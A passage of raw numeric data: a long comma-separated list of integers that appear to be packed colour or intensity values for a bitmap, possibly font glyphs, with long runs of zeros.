,3801088,0,0,0,3815994,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,26294,16777215,16758374,26294,16777215,16758374,0,0,0,0,0,0,26294,16777215,16758374,26294,16777215,16758374,0,0,0,0,0,0,26294,16777215,16758374,26294,16777215,16758374,0,0,0,0,0,0,26294,16777215,16758374,26294,16777215,16758374,0,0,0,0,0,0,26294,16777215,16758374,26294,16777215,16758374,0,0,0,0,0,0,26294,16777215,16758374,26294,16777215,16758374,0,0,0,0,0,0,3838171,16777215,14389392,11993087,16777142,6684672,0,0,0,0,26294,16777215,16777179,9452032,0,0,0,0,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,0,0,0,102,11993087,16777179,9452032,0,0,0,0,0,0,0,0,102,11993087,16777179,9452032,0,0,0,0,0,0,0,0,102,11993087,16777179,9452032,0,0,0,0,0,0,0,0,102,11993087,16777179,9452032,0,0,0,0,0,3838171,16777215,14389306,0,0,0,0,6731519,16777215,16767888,3801088,0,3838171,16777215,16777215,16777215,14389306,0,0,26294,16777215,16767888,3801088,0,6731519,16777215,16758374,0,0,0,0,26294,16777215,16777142,6684672,0,6731519,16777215,16758374,0,0,0,0,26294,16777215,16777142,6684672,0,6731519,16777215,16758374,0,0,0,0,26294,16777215,16777142,6684672,0,6731519,16777215,16758374,0,0,0,0,26294,16777215,16777142,6684672,0,6731519,16777215,16758374,0,0,0,0,26294,16777215,16777142,6684672,0,102,11983798,6684672,0,0,0,0,58,6731483,11953664,0,0,6731519,16777215,16758374,0,0,0,3838171,16777215,16777215,16777142,6684672,0,3838171,16777215,14389306,0,0,0,0,26294,16777215,16767888,3801088,0,3838171,16777215,14389306,0,0,0,0,26294,16777215,16767888,3801088,0,3838171,16777215,14389306,0,0,0,0,26294,16777215,16767888,3801088,0,3838171,16777215,14389306,0,0,0,0,26294,16777215,16767888,3801088,0,102,11993087,16777179,9452032,0,0,58,9493503,16777215,11953664,0,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777179,9452032,0,0,0,6731519,16777215,14389306,0,0,0,6731519,16777215,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3838171,16777215,16777215,16767926,9474150,3827344,14417919,16777142,6684672,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,26294,16777215,16777215,14389306,0,0,0,0,0,0,0,0,0,0,0,0,14992,11983798,6699520,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,16777179,9452032,0,0,0,0,0,0,102,11993087,16777179,9452032,58,9493503,16777215,11953664,0,0,102,11983835,14408667,16777215,16777215,16767963,14408667,14408703,16777215,16777179,14408667,11953664,0,26294,16777215,16777142,6684672,3838171,16777142,6684672,0,0,0,0,26294,16777215,16767888,3801088,14992,14417919,16767888,3801088,14950,11983871,16777215,11953664,0,58,9493503,16777215,11953664,0,0,0,0,0,0,0,0,0,0,0,58,9493503,16777179,9452032,0,0,0,0,0,0,102,11993087,16777179,9452032,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,16777215,11953664,0,0,0,0,0,0,58,9493503,16777179,9452032,0,0,0,0,0,0,0,0,102,11993087,16777179,9452032,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,3838171,16777215,16758374,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,0,6731519,16777215,14389306,0,0,0,0,0,0,0,0,0,0,0,0,6731519,16777215,14389306,0,0,0,0,0,0,0,0,102,11993087,16777179,9452032,0,0,58,9493503,16777215,11953664,0,0,102,11993087,16777179,9452032,0,0,0,6731519,16777215,14389306,0,0,0,0,0,0,0,0,102,11993087,16777215,14389306,0,0,0,0,0,0,0,58,9493503,16777215,11953664,0,0,0,102,11993087,16777215,11953664,0,0,26294,16777215,16767888,3801088,0,0,0,3838171,16777215,16758374,0,58,9493503,16777215,11953664,0,0,0,0,14992,14417919,16777142,6684672,0,0,0,0,102,11983871,16777179,9463296,0,0,0,0,0,0,0,0,102,11983871,16777179,9463296,0,0,0,0,0,0,0,0,0,14906,6731483,14417919,16777215,16777215,16767888,3801088,102,11993087,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,11953664,0,3838171,16777215,16777215,16777215,14408630,6699578,0,0,0,0,0,0,0,0,0,0,0,0,14992,14417919,16777179,9452032,0,0,3838171,16777215,11953664,102,11993087,16777215,16777215,14389350,9493503,16777142,6684672,0,0,0,6731519,16777215,11953664,102,11993087,16767888,3801088,0,0,0,26294,16777215,16767888,3801088,0,0,0,6731519,16777215,14389306,0,0,6731519,16777215,14389306,0,0,0,0,0,0,0,0,0,3838171,16777215,14389306,0,0,0,0,102,11993087,16777215,11953664,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,14992,14417919,16777142,6684672,0,0,0,0,0,0,0,102,11993087,16777215,11953664,0,0,0,0,0,0,0,0,0,3838171,16777215,14389306,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,102,11993087,16777179,9452032,0,0,0,0,0,0,0,0,0,0,0,0,26294,16777215,16767888,3801088,0,3838171,16777215,16758374,0,0,0,58,9493503,16777215,11953664,0,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,6731519,16777215,11953722,9493503,14389306,26294,16777179,9452134,11993087,16777142,6684672,0,3838171,16777215,16758416,9493503,16777142,6684672,0,26294,16777215,16767888,3801088,102,11993087,16777215,11953664,0,0,0,0,102,11993087,16777179,9452032,0,26294,16777215,16767888,3801088,0,0,0,0,6731519,16777215,14389306,102,11993087,16777215,11953664,0,0,0,0,102,11993087,16777179,9452032,0,3838171,16777215,14389306,0,0,0,0,102,11993087,16777179,9452032,0,26294,16777215,16777142,6684672,0,0,0,0,0,0,0,0,0,0,0,58,9493503,16777179,9452032,0,0,0,0,0,3838171,16777215,14389306,0,0,0,0,26294,16777215,16767888,3801088,0,26294,16777215,16767888,3801088,0,0,0,3838171,16777215,16758374,0,26294,16777215,16767888,3801088,102,11993087,16777215,11953664,0,3838171,16777215,16758374,0,0,0,6731519,16777215,14389306,14992,14417919,16777142,6684672,0,0,0,0,3838171,16777215,16758374,0,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,14992,14417919,16777179,9452032,0,0,0,0,0,14992,14417919,16777142,6684672,0,0,0,0,0,0,0,0,6731519,16777215,16758374,0,0,0,0,0,0,0,0,0,0,0,0,6731519,16777215,14389306,0,0,0,0,0,14992,14417919,16777142,6684672,0,6731519,16777215,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,0,3838171,16777215,16777215,16777215,14408667,11964518,3801088,0,0,0,0,26294,16777215,16767888,3816080,11983871,16777215,16777215,14408630,6699520,0,0,0,0,0,14950,9483995,14417919,16777215,16777215,16767963,11964518,3801088,0,0,0,14950,9483995,16777215,16777215,16767926,9452032,6731519,16777215,14389306,0,0,0,0,3827344,11983871,16777215,16777215,16777179,11964518,3801088,0,0,0,0,0,58,9493503,16777215,11953664,0,0,0,0,0,0,0,14950,9483995,16777215,16777215,16777179,11953722,3838171,16777215,14389306,0,0,26294,16777215,16767888,3816038,11983871,16777215,16777215,16767926,6699520,0,0,0,58,9493503,16777215,16777215,16777215,16777215,16777142,6684672,0,0,0,0,0,26294,16777215,16777215,16777215,16777215,16777215,16777179,9452032,0,0,0,26294,16777215,16767888,3801088,0,0,0,26294,16777215,16777142,6684672,0,0,0,58,9493503,16777215,11953664,0,0,0,0,0,58,9493503,16777179,9463440,14417919,16777215,14389306,3827382,14417919,16777215,14389306,0,0,26294,16777215,16758374,14992,11983871,16777215,16777215,16767926,6699520,0,0,0,0,0,3827344,11983871,16777215,16777215,16777179,11964518,3801088,0,0,0,26294,16777215,16758374,14950,11983871,16777215,16777215,16767926,9452032,0,0,0,0,58,9483995,16777215,16777215,16777179,11953664,3838171,16777215,14389306,0,58,9493503,16777215,16777215,16777142,6684672,26294,14417919,16777215,16777179,11964474,0,0,0,0,3827344,11983835,14417919,16777215,16777215,16777215,16777215,11953664,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,14389306,0,0,3838171,16777215,16758374,0,0,0,58,9493503,16777215,11953664,0,102,11993087,16777215,11953664,0,0,0,0,102,11993087,16777215,11953664,14992,14417919,16767888,3801088,102,11993087,16777179,9452032,0,6731519,16777215,14389306,0,3838171,16777215,16767888,3801088,0,0,0,6731519,16777215,16767888,3801088,14992,14417919,16777142,6684672,0,0,0,0,102,11993087,16777215,11953664,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,14389306,0,0,0,0,0,0,3838171,16777215,16767888,3801088,0,0,0,0,0,0,0,58,9493503,16777179,9452032,0,0,0,0,0,0,0,0,3838171,16777215,16767888,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11983871,16777179,9463296,0,0,0,0,0,0,0,14950,9483995,14417919,16777215,16777215,16767963,11964518,3801088,0,0,0,102,11993087,16777179,9452032,0,0,0,0,0,0,0,3838171,16777215,16767926,11983835,16777215,16777215,16777179,11974363,16777215,16767888,3801088,0,0,3838171,16777215,16758374,0,0,26294,16777215,16767888,3801088,0,0,0,0,0,58,9493503,16777179,9452032,0,0,0,0,0,0,14992,11983871,16777215,16777215,16777215,14408630,6699578,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14992,14417919,16767888,3801088,0,14906,3815994,3815936,0,3838171,16777215,14389306,0,0,6731519,16777179,11953664,0,26294,14417919,14389306,0,0,0,0,0,0,0,3838171,14389306,0,0,0,3827382,14399078,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14992,14417919,16767888,3801146,3815994,3815994,3815994,0,0,3838171,16777215,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,6731519,16777215,11953664,0,0,102,11993087,16777142,6684672,0,0,0,0,0,58,9493503,16777179,9452032,0,0,0,0,0,0,0,0,14950,9483995,16777179,11953722,0,0,0,0,0,0,0,0,0,0,14992,14417919,16758374,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3838171,16777215,16758374,0,0,0,58,9493503,16777215,11953664,0,6731519,16777215,16777215,16777215,16777215,16777215,11953664,58,9493503,16777179,9452032,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3838171,16777179,9452032,0,0,0,0,0,0,26294,16777215,16758374,0,0,26294,16777215,14389306,0,0,0,26294,14399120,3801088,0,0,14992,14408592,3801088,0,0,0,0,0,14992,14417919,14389306,0,0,0,14950,11983871,16777179,9452032,0,0,14992,14417919,14389306,0,0,0,14950,11983871,16777179,9452032,0,0,0,0,3838171,16777215,11953664,0,58,9483995,16777179,9452032,0,0,0,0,0,3838171,16777215,14399078,0,0,0,0,0,0,0,6731519,16777215,11953664,102,11993087,16767888,3801088,0,0,0,0,0,6731519,16777215,11953664,102,11993087,16767888,3801088,0,0,0,0,0,6731519,16777215,11953664,102,11993087,16767888,3801088,0,0,0,0,0,6731519,16777215,11953664,102,11993087,16767888,3801088,0,0,0,0,0,6731519,16777215,11953664,102,11993087,16767888,3801088,0,0,0,0,0,6731519,16777215,11953664,102,11993087,16767888,3801088,0,0,0,0,58,9493503,16777179,9452134,11993087,16777142,6684672,0,0,0,0,6731519,16777215,14389306,0,0,0,0,0,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,0,0,0,102,11993087,16777179,9452032,0,0,0,0,0,0,0,0,102,11993087,16777179,9452032,0,0,0,0,0,0,0,0,102,11993087,16777179,9452032,0,0,0,0,0,0,0,0,102,11993087,16777179,9452032,0,0,0,0,0,3838171,16777215,14389306,0,0,0,0,102,11993087,16777215,11953664,0,3838171,16777215,16758416,9493503,16777142,6684672,0,26294,16777215,16767888,3801088,102,11993087,16777215,11953664,0,0,0,0,102,11993087,16777179,9452032,102,11993087,16777215,11953664,0,0,0,0,102,11993087,16777179,9452032,102,11993087,16777215,11953664,0,0,0,0,102,11993087,16777179,9452032,102,11993087,16777215,11953664,0,0,0,0,102,11993087,16777179,9452032,102,11993087,16777215,11953664,0,0,0,0,102,11993087,16777179,9452032,0,3838171,16777215,16777142,6684672,0,0,0,6731519,16777215,16767888,3801088,102,11993087,16777215,11953664,0,0,14992,14417919,16758454,11993087,16777179,9452032,0,3838171,16777215,14389306,0,0,0,0,26294,16777215,16767888,3801088,0,3838171,16777215,14389306,0,0,0,0,26294,16777215,16767888,3801088,0,3838171,16777215,14389306,0,0,0,0,26294,16777215,16767888,3801088,0,3838171,16777215,14389306,0,0,0,0,26294,16777215,16767888,3801088,0,0,3838171,16777215,16758374,0,0,26294,16777215,16767888,3801088,0,0,26294,16777215,16767888,3801088,0,0,3816080,11983871,16777215,16767888,3801088,0,0,6731519,16777215,14389306,0,0,14992,14417919,16777179,9452032,0,0,0,3838171,16777215,16777215,16777215,14408667,11964518,3801088,0,0,0,0,0,3838171,16777215,16777215,16777215,14408667,11964518,3801088,0,0,0,0,0,3838171,16777215,16777215,16777215,14408667,11964518,3801088,0,0,0,0,0,3838171,16777215,16777215,16777215,14408667,11964518,3801088,0,0,0,0,0,3838171,16777215,16777215,16777215,14408667,11964518,3801088,0,0,0,0,0,3838171,16777215,16777215,16777215,14408667,11964518,3801088,0,0,0,0,3838171,16777215,16777179,14399078,3801088,0,6731483,16777215,16777179,11964474,0,0,0,0,14950,9483995,14417919,16777215,16777215,16767963,11964518,3801088,0,0,0,0,3827344,11983871,16777215,16777215,16777179,11964518,3801088,0,0,0,0,0,3827344,11983871,16777215,16777215,16777179,11964518,3801088,0,0,0,0,0,3827344,11983871,16777215,16777215,16777179,11964518,3801088,0,0,0,0,0,3827344,11983871,16777215,16777215,16777179,11964518,3801088,0,0,0,58,9493503,16777215,16777215,16777215,16777215,16777142,6684672,0,0,0,0,58,9493503,16777215,16777215,16777215,16777215,16777142,6684672,0,0,0,0,58,9493503,16777215,16777215,16777215,16777215,16777142,6684672,0,0,0,0,58,9493503,16777215,16777215,16777215,16777215,16777142,6684672,0,0,0,0,0,14906,6710842,0,0,0,58,9493503,16777215,11953664,0,0,26294,16777215,16758374,14992,11983871,16777215,16777215,16767926,6699520,0,0,0,0,0,3827344,11983871,16777215,16777215,16777179,11964518,3801088,0,0,0,0,0,3827344,11983871,16777215,16777215,16777179,11964518,3801088,0,0,0,0,0,3827344,11983871,16777215,16777215,16777179,11964518,3801088,0,0,0,0,0,3827344,11983871,16777215,16777215,16777179,11964518,3801088,0,0,0,0,0,3827344,11983871,16777215,16777215,16777179,11964518,3801088,0,0,0,0,0,0,14992,14417919,16777215,11953664,0,0,0,0,0,0,0,3827344,11983871,16777215,16777215,16777179,14408703,16767888,3801088,0,0,3838171,16777215,16758374,0,0,0,58,9493503,16777215,11953664,0,0,3838171,16777215,16758374,0,0,0,58,9493503,16777215,11953664,0,0,3838171,16777215,16758374,0,0,0,58,9493503,16777215,11953664,0,0,3838171,16777215,16758374,0,0,0,58,9493503,16777215,11953664,0,14992,14417919,16777142,6684672,0,0,0,0,102,11993087,16777215,11953664,0,26294,16777215,16767888,3801146,9483995,16777215,16777215,16767926,9452032,0,0,14992,14417919,16777142,6684672,0,0,0,0,102,11993087,16777215,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,